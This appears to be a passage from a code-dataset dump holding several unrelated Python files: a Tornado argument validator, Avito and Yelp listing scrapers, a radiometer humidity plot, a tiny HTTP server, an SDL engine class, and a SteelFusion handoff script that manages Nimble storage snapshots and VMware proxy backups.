\"\"\"对多个参数进行检查,每个参数可设置多个检查项\n\n args : 字典,要检查的参数字典。 tornado 里可以直接传 request.arguments\n vdict : 字典,参数的检查参数,用于 arg_validator 函数,形式类似:\n {\"参数名\":\n [\n (\"检查类型\",{\"可选参数1\":参数值,\"可选参数2\":参数值...}),\n (\"检查类型\",{\"可选参数1\":参数值,\"可选参数2\":参数值...}),\n ...\n ]\n ....\n }\n mulit_values: 表示允许有多个值的参数(一般用于复选框,传入的参数会由列表组成)\n 返回字典,包含验证结果和原来的参数\n tornado 里的用法如下:\n vdict = {\n \"token\": [(\"uuid\")],\n \"username\": [(\"length\", {\"min\": 4, \"max\": 30}), (\"safe_str\",)],\n \"password\": [(\"length\", {\"min\": 4, \"max\": 20}), (\"safe_str\",)],\n \"captcha\": [(\"length\", {\"min\": 4, \"max\": 8}), (\"safe_str\",)],\n }\n\n form = self.args_validator(self.request.arguments, vdict)\n if not form[\"verification\"]:\n return self.write(\"验证没通过\")\n data = form[\"data\"]\n username = data['username']\n password = data['password']\n token = data['token']\n captcha = data['captcha']\n \"\"\"\n def validator(a_name, a, d):\n \"\"\"调用验证\n\n :param a_name: 待验证参数的名字\n :param a: 待验证的参数\n :param d: 验证条件字典\n :return: 验证结果\n \"\"\"\n failed_arg = \"\" # 验证失败的参数\n local_verification = arg_validator(a, d)\n if not local_verification[0]:\n failed_arg = a_name\n winfo = \"参数 {} 验证失败,值:{},失败类型: {} ,全部验证类型: {}\"\n logging.warn(winfo.format(str(a_name), a,\n local_verification[1], d))\n return {\"failed_arg\": failed_arg,\n \"local_verification\": local_verification[0]}\n args = copy.deepcopy(args) # 如果不深复制,str_int验证字符串16会变为6,这是个问题\n failed_arg = \"\" # 验证失败的参数\n verification = None # 验证结果\n break_top_for_sign = None # 跳出顶级 for 循环的标记\n\n for i in args.keys():\n # 注意 :\n # tornado 传入的参数名对应的值是一个列表,\n # tornado 的 _get_argument 函数一样只用最后一个,\n # 在处理单个参数值的时候也只处理最后一个,\n # 处理多个参数值的时候就进入新的循环\n if vdict.get(i):\n ai = args[i]\n # 处理由多参数组成的验证参数\n if mulit_values and i in mulit_values and (len(ai) > 1):\n if break_top_for_sign:\n break\n for aa in ai:\n v = validator(i, aa, vdict[i])\n if not v[\"local_verification\"]:\n failed_arg = i\n verification = False\n break_top_for_sign = True\n break\n else:\n verification = True\n # 处理单个参数,只处理参数值列表的最后一个参数,\n # 在最后把参数值列表替换为该列表的最后一个元素\n else:\n v = validator(i, ai[-1], vdict[i])\n if not v[\"local_verification\"]:\n failed_arg = i\n verification = False\n break\n else:\n verification = True\n\n args[i] = args[i][-1]\n\n return {\"verification\": verification,\n \"data\": args,\n \"failed_arg\": failed_arg}\n","sub_path":"x_validator.py","file_name":"x_validator.py","file_ext":"py","file_size_in_byte":10278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"249616648","text":"\nimport requests \nfrom bs4 import BeautifulSoup\nimport csv\n\n#URL = 'https://www.avito.ru/balashiha/kvartiry/prodam/2-komnatnye-ASgBAQICAUSSA8YQAUDKCBSCWQ?i=1'\nURL = 'https://www.avito.ru/balashiha/kvartiry/prodam/2-komnatnye-ASgBAQICAUSSA8YQAUDKCBSCWQ?cd=1'\n#HEADERS = {'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', 'accept':'*/*'}\n#HEADERS = {'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36', 'accept':'*/*'}\n\n\ndef get_html(url, page_num=1, params=None):\n '''\n Функция, которая по урлу и номеру страницы возвращает объект html web страницы\n '''\n real_url = f'{url}&p={page_num}'\n print(real_url)\n r = requests.get(real_url, \n # headers=HEADERS, \n params=params)\n return r\n \n\ndef get_all_flats(url):\n '''\n По url возвращает все ссылки на квартиры со всех страниц\n '''\n max_page_num = 20\n page_part = '&p='\n all_flats = []\n for i in range(1, max_page_num):\n html = get_html(url, page_num)\n all_flats += get_section(html)\n\n write_csv(all_flats)\n\n\ndef parse_search_page(html):\n '''\n Принимает html и возвращает список ссылок на квартиры в этом html\n '''\n print(html)\n if html.status_code == 200:\n print(html.text)\n else:\n print('Error')\n #return[] \n\n\ndef write_csv(data_list):\n with open('avito.csv', 'w') as f:\n writer = csv.writer(f)\n for data in data_list:\n \twriter.writerow( (data['title'],\n data['price'],\n data['address'],\n data['url_ad']) )\n\n\ndef get_section(html):\n soup = BeautifulSoup(html.text, 'html.parser')\n section_ads = soup.find('div', class_='items-items-38oUm').find_all('div', class_='iva-item-root-G3n7v')\n #print(section_ads, len(section_ads))\n all_flats = []\n for ad in section_ads:\n try:\n title = ad.find('div', class_='iva-item-titleStep-2bjuh').get_text()\n except:\n title = ''\n\n try:\n url_ad = 'https://www.avito.ru/' + ad.find('div', class_='iva-item-titleStep-2bjuh').find('a').get('href')\n except:\n url_ad = ''\n\n try:\n price = ad.find('span', class_='price-text-1HrJ_ text-text-1PdBw text-size-s-1PUdo').text.replace('\\xa0', '')\n except:\n price = ''\n\n try:\n address = ad.find('span', class_='geo-address-9QndR text-text-1PdBw text-size-s-1PUdo').get_text()\n except:\n address = ''\n\n try:\n date_p = ad.find('div', class_='date-text-2jSvU text-text-1PdBw text-size-s-1PUdo text-color-noaccent-bzEdI').get_text()\n except:\n date_p = ''\n\n data = {'title': title,\n 'price': price,\n 'address': address,\n 'date_p': date_p,\n 'url_ad': url_ad} \n all_flats.append(data)\n\n return all_flats\n\nres_html = get_html(URL)\nres_flat_list = get_section(res_html) \nprint(res_flat_list)","sub_path":"apartments_new (2).py","file_name":"apartments_new (2).py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"223804514","text":"#!/usr/bin/env python\n\nimport sys ; import numpy as np ; import datetime as dt ; import matplotlib.pyplot as plt; from pylab import * ;\nfrom matplotlib import * ; import dateutil as du ;import seaborn as sns ; from dateutil import rrule ; from scipy.interpolate import interp1d\n\n\nmain='/home/vkvalappil/Data/' ; scripts=main+'workspace/pythonscripts/' ; \ndate=str(sys.argv[1]) ; \nrad_file=main+'/radiometerAnalysis/'+date[0:8]+'/'+date+'_HPC.csv' ; rso_file=main+'/masdar_station_data/wyoming/'+date[0:6]+'/AbuDhabi_upperair_'+date+'.csv'\noutFile=main+'/radiometerAnalysis/'+date[0:8]+'/'+date+'_HPC.png'\n###############################################################################################################################################################\n\nrad_data=np.genfromtxt(rad_file,delimiter=',',dtype='S') ; rad_data=rad_data[:,8:].T ; rso_data=np.genfromtxt(rso_file,delimiter=',',dtype='S') ; \n\nrad_hum=rad_data[:,1].astype(float) ; rad_hgts=rad_data[:,0].astype(int)\n\nrso_hum=rso_data[2:,4].astype(float) ; rso_hgts=rso_data[2:,1].astype(int) ; \n#rso_hum=rso_hum[rso_hgts<10000] ; rso_hgts=rso_hgts[rso_hgts<10000] ;\n\nf = interp1d(rso_hgts, rso_hum) ; rso_hum_new=f(rad_hgts[2:])\n\ndef find_closest(A, target):\n #A must be sorted\n idx = A.searchsorted(target)\n idx = np.clip(idx, 1, len(A)-1)\n left = A[idx-1]\n right = A[idx]\n idx -= target - left < right - target\n return idx\n\nindx=find_closest(rad_hgts,rso_hgts) ; rad_hum=rad_hum[2:] ; rad_hgts=rad_hgts[2:] ; rso_hum=rso_hum_new\n\n#################################################################################################################################################################\n\n#loc_list=[1,12,15,16,24,25,32,36,37,39,40,43,48,54,55,58,58,59,66,67,70,73,74,75,75,76,76,78,79,79,80,82,83,84,84,85,87,89,90,91,91]\n\n#rad_temp_1=rad_data[loc_list,1].astype(float)-273.15\n#rad_temp_2=rad_data[loc_list,2].astype(float)-273.15\n#rad_hgts=rad_data[loc_list,0]\n###################################################################################################################################\nfig=plt.figure(figsize=(12,10),dpi=50); ax = fig.add_subplot(111,axisbg='white')\nsns.set(style='ticks') ; pos = np.arange(0,len(rad_hum),1) ; #pos1 = np.arange(0,len(rso_hum),1) ;\nax.hold(True)\nax.plot(rad_hum,pos,'blue',linestyle='-',linewidth=2.0,marker='o',markersize=2.0,\\\n markeredgewidth=2.0,markerfacecolor='blue',markeredgecolor='blue',label='RH Rad')\n\nax.plot(rso_hum,pos,'black',linestyle='-',linewidth=2.0,marker='o',markersize=2.0,\\\n markeredgewidth=2.0,markerfacecolor='black',markeredgecolor='black',label='RH sondae') \n\nax.xaxis.set_ticks_position('bottom') ; ax.yaxis.set_ticks_position('left')\n \nax.set_xticks(np.arange(min(np.round(rso_hum.astype(int))),max(np.round(rso_hum.astype(int)))+10,5.0))\n\n#ax.set_yticks(pos) ; \nyTickMarks=rad_hgts ; #yTickMarks=rad_hgts\nytickNames = ax.set_yticklabels(yTickMarks,fontsize=18)\n \n#plt.setp(xtickNames, rotation=90, fontsize=10,family='sans-serif')\n\nax.tick_params(axis='x', colors='blue') ; ax.tick_params(axis='y', colors='blue')\nax.grid(True,which=\"major\", linestyle='--',color='k',alpha=.3)\n\n#leg=ax.legend([\"2m,10m\"],loc=1,bbox_to_anchor=(-0.3, 0.9, 1., .102),frameon=1)\n#frame = leg.get_frame() ; frame.set_facecolor('white')\n\nleg=ax.legend(loc='upper right',fontsize=20)\n\nax.set_ylabel('Height Levels',color='blue',fontsize=16) ; titl='Relative Humidity (Radiometer & RadioSondae) '+date\nplt.title(titl,color='black',fontsize=25,y=1.05)\n\nplt.tight_layout(h_pad=3) ; savefig(outFile);\nplt.close(fig) ; fig.clf(fig)\n\n#quit()","sub_path":"untitled2.py","file_name":"untitled2.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"315291889","text":"#!/usr/bin/env python3\n\nimport http.server as hs\n\nclass HTTPHandler(hs.BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.send_response(200)\n self.end_headers()\n self.wfile.write('Pikachu!'.encode('utf-8'))\n\nserver = hs.HTTPServer(('', 8080), HTTPHandler)\nserver.serve_forever()\n","sub_path":"02-docker-images/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"319395836","text":"from typing import Set, Iterable, Any, List\n\nimport sdl2.ext\n\nfrom actions import EscapeAction, MovementAction\nfrom entity import Entity\nfrom input_handlers import event_handler\n\n\nBLACK = sdl2.ext.Color(0, 0, 0)\n\n\nclass Engine:\n def __init__(self, entities: List[Entity], player: Entity):\n self.entities = entities\n self.event_handler = event_handler\n self.player = player\n\n def handle_events(self, events: Iterable[Any]) -> None:\n for event in events:\n action = event_handler(event)\n\n if action is None:\n continue\n\n if isinstance(action, MovementAction):\n self.player.move(dx=action.dx, dy=action.dy)\n\n elif isinstance(action, EscapeAction):\n sdl2.ext.quit()\n raise SystemExit()\n\n def render(self, renderer, screen_width: int, screen_height: int) -> None:\n for entity in self.entities:\n renderer.copy(\n entity.text,\n dstrect=(\n entity.pixel_x + screen_width // 2,\n entity.pixel_y + screen_height // 2,\n entity.text_width,\n entity.text_height,\n ),\n )\n\n renderer.present()\n\n renderer.clear(BLACK)","sub_path":"code/part03/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"79211630","text":"###############################################################################\n#\n# (C) Copyright 2014 Riverbed Technology, Inc\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n###############################################################################\n\n\nimport optparse\nimport sys\nimport errno\nimport shlex\nimport subprocess\nimport re\n\n# These are used for generating random clone serial\nimport string\nimport random\nimport logging\n\n# Script DB is used to store/load the cloned lun\n# information and the credentials\nimport script_db\n\n# For setting up PATH\nimport os\n\n# Paths for VADP scripts\nPERL_EXE = r'\"C:\\Program Files (x86)\\VMware\\VMware vSphere CLI\\Perl\\bin\\perl.exe\" '\nWORK_DIR = r'C:\\rvbd_handoff_scripts'\nVADP_CLEANUP = WORK_DIR + r'\\vadp_cleanup.pl'\nVADP_SETUP = WORK_DIR + r'\\vadp_setup.pl'\nNIMBLE_SCRIPT = WORK_DIR + r'\\nimble.ps1'\n\ndef set_logger():\n logging.basicConfig(filename='handoff.log', level=logging.DEBUG,\n format='%(asctime)s : %(levelname)s: %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p')\n\n\ndef script_log(msg):\n '''\n Local logs are sent to std err\n\t\n\tmsg : the log message\n '''\n sys.stderr.write(msg + \"\\n\")\n logging.info(msg)\n\n\ndef set_script_path(prefix):\n '''\n\tSets the paths accroding to the prefix.\n\t\n\tprefix : full path of directory in which the VADP scripts reside\n '''\n global WORK_DIR, VADP_CLEANUP, VADP_SETUP\n WORK_DIR = prefix\n VADP_CLEANUP = WORK_DIR + r'\\vadp_cleanup.pl'\n VADP_SETUP = WORK_DIR + r'\\vadp_setup.pl'\n\ndef execute_script(cmd):\n ps_command_pref = '\"cmd /c echo . | '\n ps_command_pref += \"powershell Set-ExecutionPolicy bypass -Force -Scope CurrentUser;\"\n# ps_command_pref += \"powershell ;\"\n command = ps_command_pref + NIMBLE_SCRIPT + \" \" + cmd + '\"'\n script_log(\"Command is :[\" + command + \"]\")\n proc = subprocess.Popen(command,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE, shell = True)\n out, err = proc.communicate()\n status = proc.wait();\n script_log(\"OUT: \" + str(out))\n script_log(\"ERR: \" + str(err))\n script_log(\"STATUS: \" + str(status))\n return (out, err, status)\n\ndef check_lun(server, serial):\n '''\n Checks for the presence of lun\n\n server : hostname/ip address \n serial : lun serial\n\n Exits the process with code zero if it finds the lun,\n or non-zero code otherwise\n '''\n out, err, status = execute_script(\"-operation HELLO -serial %s -array %s\" % (serial, server))\n if (status != 0):\n print (\"Error occurred: \" + str(err))\n else:\n print (\"OK\")\n sys.exit(0)\n\n\ndef create_snap(cdb, sdb, rdb, server, serial, snap_name, \n access_group, proxy_host, datacenter,\n include_hosts, exclude_hosts,\n category, protect_category):\n '''\n Creates a snapshot\n\n cdb : credentials db\n sdb : script db\n rdb : snap name to replay name db\n rdb : snap name to replay name db\n server : hostname/ip address\n serial : lun serial\n snap_name : the snapshot name\n access_group : the initiator group to which cloned lun is mapped\n proxy_host : the host on which clone lun is mounted\n datacenter : VMware Data center\n include_hosts : Regex for including hosts in datacenter\n exclude_hosts : Regex for excluding hosts in datacenter\n category : snapshot category\n protect_category : the snapshot category for which proxy backup is run\n\n Prints the snapshot name on the output if successful\n and exits the process.\n If unsuccessful, exits the process with non-zero error code.\n\n If the snapshot category matches the protected category, we run\n data protection for this snapshot.\n '''\n # Check for duplicate requests, these are possible\n # if Granite Core Crashes or the Handoff host itself crashed\n rdb_snap_name, replay = rdb.get_snap_info(snap_name)\n if rdb_snap_name:\n script_log(\"Duplicate request\")\n print (snap_name)\n return\n\n # Run proxy backup on this snapshot if its category matches\n # protected snapshot category\n if category == protect_category:\n # Un-mount the previously mounted cloned lun from proxy host\n \n if unmount_proxy_backup(cdb, sdb, serial, proxy_host, datacenter, include_hosts, exclude_hosts) :\n # Delete the cloned snapshot\n delete_cloned_lun(cdb, sdb, server, serial)\n # Create a cloned snapshot lun form the snapshot\n cloned_lun_serial = create_snap_clone(cdb, sdb, rdb, server, serial, snap_name, access_group)\n # Mount the snapshot on the proxy host\n mount_proxy_backup(cdb, sdb, cloned_lun_serial, snap_name,\n access_group, proxy_host, datacenter,\n include_hosts, exclude_hosts) \n print (snap_name)\n return\n\n # Else, either the snapshot is not protected\n # or the proxy unmount operation failed. In such a case\n # just create the snapshot and do not proxy mount it\n out, err, status = execute_script(\"-operation SNAP_CREATE -serial %s -array %s \" % (serial, server))\n if status != 0:\n print (\"Failed to create snapshot \" + str(err))\n sys.exit(1)\n decoded = out.decode('utf-8')\n index_split = re.search('Snapshot Created:(.*)\\n', decoded)\n index = index_split.group(1)\n #out_split = decoded.strip().split('\\n')[0].split(\":\")[-1]\n script_log(\"The index is \" + str(index))\n # Script finished successfully\n rdb.insert_snap_info(snap_name, index)\n print (snap_name)\n sys.exit(0)\n\n\ndef remove_snap(cdb, sdb, rdb, server, serial, snap_name, proxy_host,\n datacenter, include_hosts, exclude_hosts):\n '''\n Removes a snapshot\n\n cdb : credentials db\n sdb : script db\n rdb : snap name to replay name db\n server : Netapp hostname/ip address\n serial : lun serial\n snap_name : the snapshot name\n proxy_host : proxy host\n datacenter : vCenter datacenter\n include_hosts : Regex to include hosts in datacenter\n exclude_hosts : Regex to exclude hosts in datacenter\n\n If unsuccessful, exits the process with non-zero error code,\n else exits with zero error code.\n\n If we are removing a protected snapshot, we un-mount and cleanup\n the cloned snapshot lun and then remove the snapshot.\n '''\n \n clone_serial, protected_snap, group = sdb.get_clone_info(serial)\n\n replay = ''\n # Check if we are removing a protected snapshot\n if protected_snap == snap_name:\n replay = clone_serial.split(\":\")[0]\n # Deleting a protected snap. Un-mount the clone from the proxy host\n if not unmount_proxy_backup(cdb, sdb, serial, proxy_host,\n datacenter, include_hosts, exclude_hosts):\n sys.exit(1)\n # Delete the snapshot cloned lun\n delete_cloned_lun(cdb, sdb, server, serial)\n\n # Expire the replay \n \n if not replay :\n s1, replay = rdb.get_snap_info(snap_name)\n script_log(\"The replay index is \" + replay)\n\n if replay:\n out, err, status = execute_script(\"-operation SNAP_REMOVE -serial %s -array %s -replay %s\" %\\\n (serial, server, replay))\n if status != 0:\n print (\"Failed to remove snapshot \" + str(err))\n sys.exit(1)\n\t\n\n sys.exit(0)\n\n\ndef create_snap_clone(cdb, sdb, rdb, server, serial, snap_name, accessgroup):\n '''\n Creates a lun out of a snapshot\n \n cbd : credentials db\n sdb : script db\n server : the storage array\n serial : the original lun serial\n snap_name : the name of the snapshot from which lun must be created\n access_group : initiator group for Netapp, Storage Group for EMC\n\n Since this step is run as part of proxy backup, on errors,\n we exit with status zero so that Granite Core ACKs the Edge.\n '''\n out, err, status = execute_script(\"-operation CREATE_SNAP_AND_MOUNT -serial %s -array %s -accessgroup %s\" % (serial, server, accessgroup))\n if status != 0:\n print (\"Failed to create snapshot \" + str(err))\n sys.exit(1)\n\n decoded = out.decode('utf-8')\n out_split = decoded.strip().split('\\n')\n index_split = re.search('Snapshot Created:(.*)\\n', decoded)\n index = index_split.group(1)\n# index = out_split[0].split(':')[-1].strip()\n# cloned_lun = out_split[6].split(':')[-1].strip()\n cloned_lun_split = re.search('Number:(.*)\\nName', decoded)\n cloned_lun = cloned_lun_split.group(1)\n script_log(\"Cloned serial is \" + cloned_lun)\n cloned_lun_serial = index + \":\" + cloned_lun\n\n if cloned_lun_serial == ':':\n print (\"Failed to create snapshot lun : \" + str(decoded))\n sys.exit(1)\n\t\n # Store this information in a local database. \n # This is needed because when you are running cleanup,\n # the script must find out which cloned lun needs to me un-mapped.\n script_log('Inserting serial: %s, cloned_lun_serial: %s, snap_name: %s, group: %s' %\\\n (serial, cloned_lun_serial, snap_name, accessgroup))\n sdb.insert_clone_info(serial, cloned_lun_serial, snap_name, accessgroup)\n rdb.insert_snap_info(snap_name, index)\n script_log(\"Index is:\" + str(index))\n return cloned_lun_serial \n\n \ndef delete_cloned_lun(cdb, sdb, server, lun_serial):\n '''\n For the given serial, finds the last cloned lun\n and delete it.\n\n Note that it does not delete the snapshot, the snapshot is left behind.\n\n cdb : credentials db\n sdb : script db\n lun_serial : the lun serial for which we find the last cloned lun\n '''\n clone_lun, snap_name, group = sdb.get_clone_info(lun_serial)\n clone_serial = clone_lun.split(':')[-1]\n script_log('Clone serial: %s , snap_name: %s, group: %s' % \\\n (str(clone_serial), str(snap_name), str(group)))\n\t\n if not clone_serial:\n script_log (\"No clone lun to be deleted\")\n return\n\n script_log(\"Unmapping cloned lun with serial \" + str(clone_serial))\n out, err, status = execute_script(\"-operation UNMOUNT -serial %s -array %s -mount %s\" %\\\n (serial, server, clone_serial))\n if status != 0:\n print (\"Failed to delete cloned lun \" + str(err))\n return\n \n script_log(\"Unmapping successful : \" + str(out)) \n sdb.delete_clone_info(lun_serial)\n\n\n script_log(\"Cloned lun %s deleted successfully\" % clone_serial)\n return\n\n\ndef mount_proxy_backup(cdb, sdb, cloned_lun_info, snap_name,\n access_group, proxy_host, datacenter,\n include_hosts, exclude_hosts):\n '''\n Mounts the proxy backup on the proxy host\n\n cdb : credentials db\n sdb : script db\n cloned_lun_serial : the lun serial of the cloned snapshot lun\n snap_name : snapshot name\n access_group : initiator group \n proxy_host : the ESX proxy host/VMware VCenter\n datacenter : VMware datacenter\n include_hosts : Regex to include hosts for proxy backup\n exclude_hosts : Regex to exclude hosts for proxy backup\n '''\n # Get credentials for the proxy host\n username, password = cdb.get_enc_info(proxy_host)\n\t# The clone lun info is of the form\n\t# index:clone_lun_serial\n cloned_lun_serial = cloned_lun_info.split(\":\")[-1]\n\n # Create the command to be run\n cmd = ('%s \"%s\" --server %s --username %s --password %s --luns %s ' \\\n '--datacenter \"%s\" --include_hosts \"%s\" --exclude_hosts \"%s\" ' \\\n '--extra_logging 1' %\\\n (PERL_EXE, VADP_SETUP, proxy_host, \n username, password, cloned_lun_serial,\n datacenter, include_hosts, exclude_hosts))\n \n script_log(\"Command is: \" + cmd)\n proc = subprocess.Popen(cmd,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE)\n\n out, err = proc.communicate()\n status = proc.wait()\n script_log(\"Output: \" + str(out))\n script_log(\"ErrOut: \" + str(err))\n if status:\n script_log(\"Failed to mount the cloned lun: \" + str(status))\n else:\n script_log(\"Mounted the cloned lun successfully\")\n\n\t\t\ndef unmount_proxy_backup(cdb, sdb, lun_serial, proxy_host,\n datacenter, include_hosts, exclude_hosts):\n '''\n Un-mounts the previously mounted clone lun from the proxy host\n\n cdb : credentials db\n sbd : script db\n lun_serial : the lun serial \n proxy_host : the ESX proxy host\n datacenter : VMware datacenter\n include_hosts : Hosts to include to perform proxy backup\n exclude_hosts : Hosts to exclude to perform proxy backup\n\n '''\n\n # Get the credentials for proxy host\n username, password = cdb.get_enc_info(proxy_host)\n\n # Find the cloned lun from the script db for given lun\n clone_serial, snap_name, group = sdb.get_clone_info(lun_serial)\n script_log('Clone serial: %s , snap_name: %s, group: %s' % \\\n ( str(clone_serial), str(snap_name), str(group)))\n\t# The clone lun info is of the form\n\t# index:clone_lun_serial\n cloned_lun = clone_serial.split(':')[-1]\n\n if not cloned_lun:\n script_log(\"No clone serial found, returning\")\n return\tTrue\n\t\n cmd = ('%s \"%s\" --server %s --username %s --password %s --luns %s ' \\\n '--datacenter \"%s\" --include_hosts \"%s\" --exclude_hosts \"%s\" '\\\n '--extra_logging 1' %\\\n (PERL_EXE, VADP_CLEANUP,\n proxy_host, username, password, cloned_lun,\n datacenter, include_hosts, exclude_hosts))\n\n script_log(\"Command is: \" + cmd)\n proc = subprocess.Popen(cmd,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE)\n\n out, err = proc.communicate()\n status = proc.wait()\n script_log(\"Output: \" + str(out))\n script_log(\"ErrOut: \" + str(err))\n if status != 0:\n script_log(\"Failed to un-mount the cloned lun: \" + str(status))\n return False\n else:\n script_log(\"Un-mounted the clone lun successfully\")\n\t\n return True\n\ndef get_option_parser():\n '''\n Returns argument parser\n '''\n global WORK_DIR\n parser = optparse.OptionParser()\n\n # These are script specific parameters that can be passed as\n # script arguments from the Granite Core.\n parser.add_option(\"--array\",\n type=\"string\",\n default=\"chief-netapp1\",\n help=\"storage array ip address or dns name\")\n parser.add_option(\"--username\",\n type=\"string\",\n default=\"root\",\n help=\"log username\")\n parser.add_option(\"--password\",\n type=\"string\",\n default=\"\",\n help=\"login password\")\n parser.add_option(\"--access-group\",\n type=\"string\",\n default=\"\",\n help=\"Access group to protect\")\n parser.add_option(\"--proxy-host\",\n type=\"string\",\n default=\"\",\n help=\"Proxy Host Server\")\n parser.add_option(\"--datacenter\",\n type=\"string\",\n default=\"\",\n help=\"Datacenter to look for proxy host\")\n parser.add_option(\"--include-hosts\",\n type=\"string\",\n default=\".*\",\n help=\"Include Host Regex\")\n parser.add_option(\"--exclude-hosts\",\n type=\"string\",\n default=\"\",\n help=\"Exclude Host Regex\")\n parser.add_option(\"--work-dir\",\n type=\"string\",\n default=WORK_DIR,\n help=\"Directory path to the VADP scripts\")\n parser.add_option(\"--protect-category\",\n type=\"string\",\n default=\"daily\",\n help=\"Directory path to the VADP scripts\")\n\n # These arguments are always passed by Granite Core\n parser.add_option(\"--serial\",\n type=\"string\",\n help=\"serial of the lun\")\n parser.add_option(\"--operation\",\n type=\"string\",\n help=\"Operation to perform (HELLO/SNAP/REMOVE)\")\n parser.add_option(\"--snap-name\",\n type=\"string\",\n default=\"\",\n help=\"snapshot name\")\n parser.add_option(\"--issue-time\",\n type=\"string\",\n default=\"\",\n help=\"Snapshot issue time\")\n parser.add_option(\"--category\",\n type=\"string\",\n default=\"manual\",\n help=\"Snapshot Category\")\n return parser\n\n\nif __name__ == '__main__':\n options, argsleft = get_option_parser().parse_args()\n\n # Set the working dir prefix\n set_script_path(options.work_dir)\n\n # Credentials db must be initialized using the cred_mgmt.py file\n cdb = script_db.CredDB(options.work_dir + r'\\cred_db')\n\t\n # Initialize the script database\n sdb = script_db.ScriptDB(options.work_dir + r'\\script_db')\n sdb.setup()\n\n # Create snap to replay mapping database\n rdb = script_db.SnapToReplayDB(options.work_dir + r'\\replay_db')\n rdb.setup()\n \n # Setup server/lun info\n conn = options.array\n serial = options.serial\n\t\n # For iscsi, serial seen on GC is same as required by snap commands\n nimble_serial = serial\n \n if options.operation == 'HELLO':\n check_lun(conn, nimble_serial)\n elif options.operation == 'CREATE_SNAP': \n create_snap(cdb, sdb, rdb, conn, nimble_serial, options.snap_name, \n options.access_group, options.proxy_host,\n options.datacenter, options.include_hosts,\n options.exclude_hosts,\n\t\t options.category, options.protect_category)\n elif options.operation == 'REMOVE_SNAP':\n remove_snap(cdb, sdb, rdb, conn, nimble_serial ,\n\t\t options.snap_name, options.proxy_host,\n options.datacenter, options.include_hosts,\n options.exclude_hosts)\n else:\n print ('Invalid operation: %s' % str(options.operation))\n cdb.close()\n sdb.close()\n rdb.close()\n sys.exit(errno.EINVAL)\n\n sdb.close()\n cdb.close()\n rdb.close()\n","sub_path":"src/libs/nimble_v1/SteelFusionHandoff.py","file_name":"SteelFusionHandoff.py","file_ext":"py","file_size_in_byte":19557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"11858650","text":"import scrapy\nfrom yelpbreak1000.items import Yelpbreak1000Item\nfrom urlparse import urljoin\n\nclass PreschoolSpider (scrapy.Spider):\n name = \"preschool\"\n allowed_domains = [\"yelp.com\"]\n base = [\"http://www.yelp.com\"]\n # start_urls = [\"http://www.yelp.com/search?find_desc=clinic&find_loc=New+York%2C+NY&ns=1&start=0&l=p:NY:New_York:Manhattan:Chelsea\",\n # \"http://www.yelp.com/search?find_desc=clinic&find_loc=New+York%2C+NY&ns=1&start=0&l=p:NY:New_York:Manhattan:Chinatown\"]\n\n def get_start_urls ():\n urls = []\n foo = open (\"/Users/April/PycharmProjects/yelpbreak1000/nbhds.json\")\n lines = foo.readlines ()\n for line in lines:\n url = \"http://www.yelp.com/search?find_desc=preschool&find_loc=New+York%2C+NY&ns=1&start=0&l=p:\" + line\n urls.append (url)\n foo.close ()\n return urls\n\n start_urls = get_start_urls ()\n\n def parse (self, response):\n temps = []\n for sel in response.xpath (\"//li[@class='regular-search-result']\"):\n item = Yelpbreak1000Item()\n\n temps.extend (sel.xpath (\".//span[@class='indexed-biz-name']/a\"))\n if len (temps) > 0:\n item[\"title\"] = temps[0].xpath(\"text()\").extract ()\n else:\n continue\n del temps[:]\n\n temps.extend (sel.xpath (\".//span[@class='neighborhood-str-list']\"))\n if len (temps) > 0:\n item[\"neighborhood\"] = temps[0].xpath(\"text()\").extract ()[0]\n else:\n item[\"neighborhood\"] = \"null\"\n del temps[:]\n\n temps.extend (sel.xpath (\".//address\"))\n if len (temps) > 0:\n item[\"address\"] = temps[0].xpath(\"text()\").extract ()\n else:\n continue\n del temps[:]\n\n temps.extend (sel.xpath (\".//span[@class='biz-phone']\"))\n if len (temps) > 0:\n item[\"phoneNo\"] = temps[0].xpath(\"text()\").extract ()[0]\n else:\n item[\"phoneNo\"] = \"0\"\n del temps[:]\n\n temps.extend (sel.xpath (\".//div[@class='rating-large']/i\"))\n if len (temps) > 0:\n item[\"rating\"] = 